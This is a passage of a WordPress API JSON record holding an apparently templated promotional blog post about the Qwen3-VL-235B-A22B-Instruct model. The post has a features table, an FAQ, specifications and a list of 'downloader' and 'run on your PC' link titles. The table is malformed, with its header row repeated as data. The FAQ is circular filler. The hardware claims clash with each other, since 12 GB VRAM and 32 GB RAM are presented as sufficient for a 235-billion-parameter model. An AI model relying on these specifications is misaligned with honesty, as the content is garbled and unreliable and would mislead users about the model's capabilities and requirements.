a diverse corpus of web-scale text and image-caption pairs, which improves its contextual reasoning and visual grounding.<\/p>\n<h4>Key Features and Benchmark Performance<\/h4>\n<p>The Qwen3-VL-235B-A22B-Instruct model boasts an impressive range of features that set it apart from prior large multimodal models. Its context window extends to 32k tokens, allowing it to retain long-range dependencies across documents and complex scenes.<\/p>\n<table>\n<tr>\n<th>Feature<\/th>\n<th>Description<\/th>\n<\/tr>\n<tr>\n<td>Metric<\/td>\n<td>Value<\/td>\n<\/tr>\n<tr>\n<td>Accuracy<\/td>\n<td>Outperforms prior large multimodal models<\/td>\n<\/tr>\n<tr>\n<td>Efficiency<\/td>\n<td>Improved performance on user-centric prompts<\/td>\n<\/tr>\n<tr>\n<td>Context Window<\/td>\n<td>32k tokens<\/td>\n<\/tr>\n<tr>\n<td>Training Data<\/td>\n<td>Web-scale text and image-caption pairs<\/td>\n<\/tr>\n<\/table>\n<h4>Frequently Asked Questions<\/h4>\n<p>Q: What are the primary applications of the Qwen3-VL-235B-A22B-Instruct model?A: The model is suitable for production-grade AI assistants, making it an ideal solution for a wide range of use cases.Q: How does the model process text and images simultaneously?A: The Qwen3-VL-235B-A22B-Instruct model processes both text and images concurrently, enabling high-fidelity vision-language tasks such as caption generation and visual question answering.Q: What is the context window of the model, and how does it impact performance?A: The context window of the Qwen3-VL-235B-A22B-Instruct model extends to 32k tokens, allowing it to retain long-range dependencies across documents and complex scenes, resulting in improved accuracy and efficiency.<\/p>\n<h4>Technical Specifications<\/h4>\n<p>\u2022 **Parameters**: 235 billion\u2022 **Context Length**: 32k tokens\u2022 **Modalities**: Text + Image<\/p>\n<ol>\n<li>Installer configuring localized guardrail classification models for input-output automated filtering layers<\/li>\n<li>Qwen3-VL-235B-A22B-Instruct on Your PC with Native FP4 Complete Walkthrough<\/li>\n<li>Downloader pulling specialized offline translation models for LibreTranslate systems<\/li>\n<li>Qwen3-VL-235B-A22B-Instruct Windows 10 Full Speed NPU Mode<\/li>\n<li>Downloader for specialized RVC v2 model packs for voice generation<\/li>\n<li>How to Autostart Qwen3-VL-235B-A22B-Instruct For Beginners FREE<\/li>\n<\/ol>\n<p><a href='https:\/\/asiastar.vn\/category\/offloaders\/'>https:\/\/asiastar.vn\/category\/offloaders\/<\/a><\/p>","protected":false},"excerpt":{"rendered":"<p>\ud83d\udcc4 Hash Value: 3ea832ca64234feb68af874ca0981c32 | \ud83d\udcc6 Update: 2026-07-20 Verify Processor: Intel i7 \/ Ryzen 7 for heavy Quantized models RAM: 32 GB highly recommended for 26B+ GGUF models Disk Space: 80 GB NVMe SSD required for fast model weights loading Graphics: 12 GB VRAM minimum required for basic quantization Introducing the Qwen3-VL-235B-A22B-Instruct Model The Qwen3-VL-235B-A22B-Instruct [&hellip;]<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22],"tags":[],"class_list":["post-2389","post","type-post","status-publish","format-standard","hentry","category-huggingface"],"_links":{"self":[{"href":"https:\/\/idpmedia.com.br\/en\/wp-json\/wp\/v2\/posts\/2389","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/idpmedia.com.br\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/idpmedia.com.br\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/idpmedia.com.br\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/idpmedia.com.br\/en\/wp-json\/wp\/v2\/comments?post=2389"}],"version-history":[{"count":1,"href":"https:\/\/idpmedia.com.br\/en\/wp-json\/wp\/v2\/posts\/2389\/revisions"}],"predecessor-version":[{"id":2390,"href":"https:\/\/idpmedia.com.br\/en\/wp-json\/wp\/v2\/posts\/2389\/revisions\/2390"}],"wp:attachment":[{"href":"https:\/\/idpmedia.com.br\/en\/wp-json\/wp\/v2\/media?parent=2389"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/idpmedia.com.br\/en\/wp-json\/wp\/v2\/categories?post=2389"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/idpmedia.com.br\/en\/wp-json\/wp\/v2\/tags?post=2389"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}